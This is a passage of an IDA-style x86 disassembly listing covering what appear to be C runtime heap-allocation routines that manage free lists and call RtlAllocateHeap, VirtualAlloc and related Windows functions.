jnz short loc_41AE75 add ebx, 14h jmp short loc_41AE5B ; --------------------------------------------------------------------------- loc_41AE75: ; CODE XREF: sub_41ADDD+91j cmp ebx, eax loc_41AE77: ; CODE XREF: sub_41ADDD+83j jnz short loc_41AED2 loc_41AE79: ; CODE XREF: sub_41ADDD+ADj cmp ebx, [ebp+var_4] jnb short loc_41AE8F cmp dword ptr [ebx+8], 0 jnz short loc_41AE8C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41AE79 ; --------------------------------------------------------------------------- loc_41AE8C: ; CODE XREF: sub_41ADDD+A5j cmp ebx, [ebp+var_4] loc_41AE8F: ; CODE XREF: sub_41ADDD+9Fj jnz short loc_41AEB7 mov ebx, edx loc_41AE93: ; CODE XREF: sub_41ADDD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41AEA7 cmp dword ptr [ebx+8], 0 jnz short loc_41AEA5 add ebx, 14h jmp short loc_41AE93 ; --------------------------------------------------------------------------- loc_41AEA5: ; CODE XREF: sub_41ADDD+C1j cmp ebx, eax loc_41AEA7: ; CODE XREF: sub_41ADDD+BBj jnz short loc_41AEB7 call sub_41B0E6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41AECB loc_41AEB7: ; CODE XREF: sub_41ADDD:loc_41AE8Fj ; sub_41ADDD:loc_41AEA7j push ebx call sub_41B197 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41AED2 loc_41AECB: ; CODE XREF: sub_41ADDD+D8j xor eax, eax jmp loc_41B0E1 ; --------------------------------------------------------------------------- loc_41AED2: ; CODE XREF: sub_41ADDD+7Aj ; sub_41ADDD:loc_41AE77j ... mov dword_48AB10, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41AEF9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41AF30 loc_41AEF9: ; CODE XREF: sub_41ADDD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41AF2D loc_41AF16: ; CODE XREF: sub_41ADDD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41AF16 loc_41AF2D: ; CODE XREF: sub_41ADDD+137j mov edx, [ebp+var_4] loc_41AF30: ; CODE XREF: sub_41ADDD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41AF59 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41AF59: ; CODE XREF: sub_41ADDD+16Dj ; sub_41ADDD+183j test ecx, ecx jl short loc_41AF62 shl ecx, 1 inc edi jmp short loc_41AF59 ; --------------------------------------------------------------------------- loc_41AF62: ; CODE XREF: sub_41ADDD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41AF7F push 3Fh pop esi loc_41AF7F: ; CODE XREF: sub_41ADDD+19Dj cmp esi, edi jz loc_41B094 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41AFF0 cmp edi, 20h jge short loc_41AFBF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41AFED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41AFF0 ; --------------------------------------------------------------------------- loc_41AFBF: ; CODE XREF: sub_41ADDD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41AFED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41AFF0 ; --------------------------------------------------------------------------- loc_41AFED: ; CODE XREF: sub_41ADDD+1D6j ; sub_41ADDD+203j mov ebx, [ebp+arg_0] loc_41AFF0: ; CODE XREF: sub_41ADDD+1B0j ; sub_41ADDD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41B0A0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B091 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41B062 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B050 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41B050: ; CODE XREF: sub_41ADDD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41B091 ; --------------------------------------------------------------------------- loc_41B062: ; CODE XREF: sub_41ADDD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B07B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41B07B: ; CODE XREF: sub_41ADDD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41B091: ; CODE XREF: sub_41ADDD+24Ej ; sub_41ADDD+283j mov ecx, [ebp+var_8] loc_41B094: ; CODE XREF: sub_41ADDD+1A4j test ecx, ecx jz short loc_41B0A3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41B0A3 ; --------------------------------------------------------------------------- loc_41B0A0: ; CODE XREF: sub_41ADDD+229j mov ecx, [ebp+var_8] loc_41B0A3: ; CODE XREF: sub_41ADDD+2B9j ; sub_41ADDD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41B0D9 cmp ebx, dword_48AB14 jnz short loc_41B0D9 mov ecx, [ebp+var_4] cmp ecx, dword_48AB0C jnz short loc_41B0D9 and dword_48AB14, 0 loc_41B0D9: ; CODE XREF: sub_41ADDD+2E0j ; sub_41ADDD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41B0E1: ; CODE XREF: sub_41ADDD+F0j pop edi pop esi pop ebx leave retn sub_41ADDD endp ; =============== S U B R O U T I N E ======================================= sub_41B0E6 proc near ; CODE XREF: sub_41ADDD+CCp mov eax, dword_48AB18 mov ecx, dword_48AB08 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41B129 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_48AB1C push edi push dword_48AB24 call dword_423194 ; RtlReAllocateHeap cmp eax, edi jz short loc_41B179 add dword_48AB08, 10h mov dword_48AB1C, eax mov eax, dword_48AB18 loc_41B129: ; CODE XREF: sub_41B0E6+11j mov ecx, dword_48AB1C push 41C4h push 8 lea eax, [eax+eax*4] push dword_48AB24 lea esi, [ecx+eax*4] call dword_4230E8 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41B179 push 4 push 2000h push 100000h push edi call dword_4231B4 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41B17D push dword ptr [esi+10h] push edi push dword_48AB24 call dword_4230E4 ; RtlFreeHeap loc_41B179: ; CODE XREF: sub_41B0E6+30j ; sub_41B0E6+67j xor eax, eax jmp short loc_41B194 ; --------------------------------------------------------------------------- loc_41B17D: ; CODE XREF: sub_41B0E6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_48AB18 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41B194: ; CODE XREF: sub_41B0E6+95j pop edi pop esi retn sub_41B0E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B197 proc near ; CODE XREF: sub_41ADDD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41B1A9: ; CODE XREF: sub_41B197+19j test eax, eax jl short loc_41B1B2 shl eax, 1 inc ebx jmp short loc_41B1A9 ; --------------------------------------------------------------------------- loc_41B1B2: ; CODE XREF: sub_41B197+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41B1C7: ; CODE XREF: sub_41B197+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41B1C7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_4231B4 ; VirtualAlloc test eax, eax jnz short loc_41B1FA or eax, 0FFFFFFFFh jmp loc_41B28D ; --------------------------------------------------------------------------- loc_41B1FA: ; CODE XREF: sub_41B197+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41B240 lea eax, [edi+10h] loc_41B207: ; CODE XREF: sub_41B197+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41B207 loc_41B240: ; CODE XREF: sub_41B197+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41B27D or [eax+4], edi loc_41B27D: ; CODE XREF: sub_41B197+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41B28D: ; CODE XREF: sub_41B197+5Ej pop edi pop esi pop ebx leave retn sub_41B197 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B292 proc near ; CODE XREF: sub_41914F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41B440 test bl, 1 jnz loc_41B439 add ebx, ecx cmp esi, ebx jg loc_41B439 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41B309 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41B309: ; CODE XREF: sub_41B292+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41B359 cmp ecx, 20h jnb short loc_41B335 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41B359 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B359 ; --------------------------------------------------------------------------- loc_41B335: ; CODE XREF: sub_41B292+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B359 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B359: ; CODE XREF: sub_41B292+7Dj ; sub_41B292+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41B427 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41B393 push 3Fh pop edi loc_41B393: ; CODE XREF: sub_41B292+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41B415 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41B3EC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B3DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41B3DF: ; CODE XREF: sub_41B292+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41B411 ; --------------------------------------------------------------------------- loc_41B3EC: ; CODE XREF: sub_41B292+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B402 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41B402: ; CODE XREF: sub_41B292+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41B411: ; CODE XREF: sub_41B292+158j shr edx, cl or [eax], edx loc_41B415: ; CODE XREF: sub_41B292+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41B42A ; --------------------------------------------------------------------------- loc_41B427: ; CODE XREF: sub_41B292+E5j mov edx, [ebp+arg_4] loc_41B42A: ; CODE XREF: sub_41B292+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41B580 ; --------------------------------------------------------------------------- loc_41B439: ; CODE XREF: sub_41B292+52j ; sub_41B292+5Cj xor eax, eax jmp loc_41B583 ; --------------------------------------------------------------------------- loc_41B440: ; CODE XREF: sub_41B292+49j jge loc_41B580 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41B46B push 3Fh pop esi loc_41B46B: ; CODE XREF: sub_41B292+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41B4FA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B484 push 3Fh pop esi loc_41B484: ; CODE XREF: sub_41B292+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41B4D3 cmp esi, 20h jnb short loc_41B4AF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41B4D0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B4D0 ; --------------------------------------------------------------------------- loc_41B4AF: ; CODE XREF: sub_41B292+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B4D0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B4D0: ; CODE XREF: sub_41B292+214j ; sub_41B292+21Bj ... mov ebx, [ebp+arg_4] loc_41B4D3: ; CODE XREF: sub_41B292+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B4FA push 3Fh pop esi loc_41B4FA: ; CODE XREF: sub_41B292+1DDj ; sub_41B292+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41B577 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41B54E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B541 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41B541: ; CODE XREF: sub_41B292+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41B573 ; --------------------------------------------------------------------------- loc_41B54E: ; CODE XREF: sub_41B292+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B564 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41B564: ; CODE XREF: sub_41B292+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41B573: ; CODE XREF: sub_41B292+2BAj shr edx, cl or [eax], edx loc_41B577: ; CODE XREF: sub_41B292+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41B580: ; CODE XREF: sub_41B292+1A2j ; sub_41B292:loc_41B440j push 1 pop eax loc_41B583: ; CODE XREF: sub_41B292+1A9j pop edi pop esi pop ebx leave retn sub_41B292 endp ; =============== S U B R O U T I N E ======================================= sub_41B588 proc near ; CODE XREF: sub_41A9E4+41p ; sub_41B880:loc_41BA4Fp cmp dword_438CB0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41B59C mov esi, offset off_438CA0 jmp short loc_41B5B9 ; --------------------------------------------------------------------------- loc_41B59C: ; CODE XREF: sub_41B588+Bj push 2020h push 0 push dword_48AB24 call dword_4230E8 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_41B6C5 loc_41B5B9: ; CODE XREF: sub_41B588+12j mov ebp, dword_4231B4 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_41B6AE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_41B6A0 mov eax, offset off_438CA0 cmp esi, eax jnz short loc_41B618 cmp off_438CA0, 0 jnz short loc_41B608 mov off_438CA0, eax loc_41B608: ; CODE XREF: sub_41B588+79j cmp off_438CA4, 0 jnz short loc_41B62D mov off_438CA4, eax jmp short loc_41B62D ; --------------------------------------------------------------------------- loc_41B618: ; CODE XREF: sub_41B588+70j mov [esi], eax mov eax, off_438CA4 mov [esi+4], eax mov off_438CA4, esi mov eax, [esi+4] mov [eax], esi loc_41B62D: ; CODE XREF: sub_41B588+87j ; sub_41B588+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41B64F: ; CODE XREF: sub_41B588+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41B64F push ebx push 0 push edi call sub_417030 add esp, 0Ch loc_41B678: ; CODE XREF: sub_41B588+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41B69C or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41B678 ; --------------------------------------------------------------------------- loc_41B69C: ; CODE XREF: sub_41B588+F7j mov eax, esi jmp short loc_41B6C7 ; --------------------------------------------------------------------------- loc_41B6A0: ; CODE XREF: sub_41B588+63j push 8000h push 0 push edi call dword_4231B0 ; VirtualFree loc_41B6AE: ; CODE XREF: sub_41B588+4Bj cmp esi, offset off_438CA0 jz short loc_41B6C5 push esi push 0 push dword_48AB24 call dword_4230E4 ; RtlFreeHeap loc_41B6C5: ; CODE XREF: sub_41B588+2Bj ; sub_41B588+12Cj xor eax, eax loc_41B6C7: ; CODE XREF: sub_41B588+116j pop edi pop esi pop ebp pop ebx retn sub_41B588 endp ; =============== S U B R O U T I N E ======================================= sub_41B6CC proc near ; CODE XREF: sub_41B722+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_4231B0 ; VirtualFree cmp off_43ACC0, esi jnz short loc_41B6F1 mov eax, [esi+4] mov off_43ACC0, eax loc_41B6F1: ; CODE XREF: sub_41B6CC+1Bj cmp esi, offset off_438CA0 jz short loc_41B719 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_48AB24 call dword_4230E4 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41B719: ; CODE XREF: sub_41B6CC+2Bj or dword_438CB0, 0FFFFFFFFh pop esi retn sub_41B6CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B722 proc near ; CODE XREF: sub_41B83B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_438CA4 push edi loc_41B72F: ; CODE XREF: sub_41B722+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41B7CD and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41B748: ; CODE XREF: sub_41B722+72j cmp dword ptr [edi], 0F0h jnz short loc_41B789 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_4231B0 ; VirtualFree test eax, eax jz short loc_41B789 or dword ptr [edi], 0FFFFFFFFh dec dword_489514 mov eax, [esi+0Ch] test eax, eax jz short loc_41B77E cmp eax, edi jbe short loc_41B781 loc_41B77E: ; CODE XREF: sub_41B722+56j mov [esi+0Ch], edi loc_41B781: ; CODE XREF: sub_41B722+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41B796 loc_41B789: ; CODE XREF: sub_41B722+2Cj ; sub_41B722+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41B748 loc_41B796: ; CODE XREF: sub_41B722+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41B7CD cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41B7CD push 1 lea eax, [ecx+20h] pop edx loc_41B7AD: ; CODE XREF: sub_41B722+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41B7BE inc edx add eax, 8 cmp edx, 400h jl short loc_41B7AD loc_41B7BE: ; CODE XREF: sub_41B722+8Ej cmp edx, 400h jnz short loc_41B7CD push ecx call sub_41B6CC pop ecx loc_41B7CD: ; CODE XREF: sub_41B722+11j ; sub_41B722+7Dj ... cmp esi, off_438CA4 jz short loc_41B7DF cmp [ebp+arg_0], 0 jg loc_41B72F loc_41B7DF: ; CODE XREF: sub_41B722+B1j pop edi pop esi pop ebx leave retn sub_41B722 endp ; =============== S U B R O U T I N E ======================================= sub_41B7E4 proc near ; CODE XREF: sub_41793B+3Ap ; sub_41914F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_438CA0 push esi mov ecx, edx loc_41B7F0: ; CODE XREF: sub_41B7E4+1Cj cmp eax, [ecx+10h] jbe short loc_41B7FA cmp eax, [ecx+14h] jb short loc_41B802 loc_41B7FA: ; CODE XREF: sub_41B7E4+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41B837 jmp short loc_41B7F0 ; --------------------------------------------------------------------------- loc_41B802: ; CODE XREF: sub_41B7E4+14j test al, 0Fh jnz short loc_41B837 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41B837 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41B837: ; CODE XREF: sub_41B7E4+1Aj ; sub_41B7E4+20j ... xor eax, eax pop esi retn sub_41B7E4 endp ; =============== S U B R O U T I N E ======================================= sub_41B83B proc near ; CODE XREF: sub_41793B+4Dp ; sub_41914F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41B87F inc dword_489514 cmp dword_489514, 20h jnz short locret_41B87F push 10h call sub_41B722 pop ecx locret_41B87F: ; CODE XREF: sub_41B83B+2Bj ; sub_41B83B+3Aj retn sub_41B83B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B880 proc near ; CODE XREF: sub_4178C7+4Ap ; sub_41914F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43ACC0 push edi loc_41B88E: ; CODE XREF: sub_41B880+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41B939 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41B8F3 loc_41B8B9: ; CODE XREF: sub_41B880+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41B8DC cmp [edi+4], ebx jbe short loc_41B8DC push ebx push ecx push eax call sub_41BA88 add esp, 0Ch test eax, eax jnz short loc_41B94B mov eax, [ebp+var_4] mov [edi+4], ebx loc_41B8DC: ; CODE XREF: sub_41B880+40j ; sub_41B880+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41B8B9 jmp short loc_41B8F6 ; --------------------------------------------------------------------------- loc_41B8F3: ; CODE XREF: sub_41B880+37j mov ebx, [ebp+arg_0] loc_41B8F6: ; CODE XREF: sub_41B880+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41B93C loc_41B909: ; CODE XREF: sub_41B880+B5j mov eax, [edi] cmp eax, ebx jl short loc_41B928 cmp [edi+4], ebx jbe short loc_41B928 push ebx push eax push [ebp+var_4] call sub_41BA88 add esp, 0Ch test eax, eax jnz short loc_41B94B mov [edi+4], ebx loc_41B928: ; CODE XREF: sub_41B880+8Dj ; sub_41B880+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41B909 jmp short loc_41B93C ; --------------------------------------------------------------------------- loc_41B939: ; CODE XREF: sub_41B880+14j mov ebx, [ebp+arg_0] loc_41B93C: ; CODE XREF: sub_41B880+87j ; sub_41B880+B7j mov esi, [esi] cmp esi, off_43ACC0 jz short loc_41B95B jmp loc_41B88E ; --------------------------------------------------------------------------- loc_41B94B: ; CODE XREF: sub_41B880+54j ; sub_41B880+A3j mov off_43ACC0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41BA83 ; --------------------------------------------------------------------------- loc_41B95B: ; CODE XREF: sub_41B880+C4j mov eax, offset off_438CA0 mov edi, eax loc_41B962: ; CODE XREF: sub_41B880+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41B96E cmp dword ptr [edi+0Ch], 0 jnz short loc_41B97A loc_41B96E: ; CODE XREF: sub_41B880+E6j mov edi, [edi] cmp edi, eax jz loc_41BA4F jmp short loc_41B962 ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B880+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl 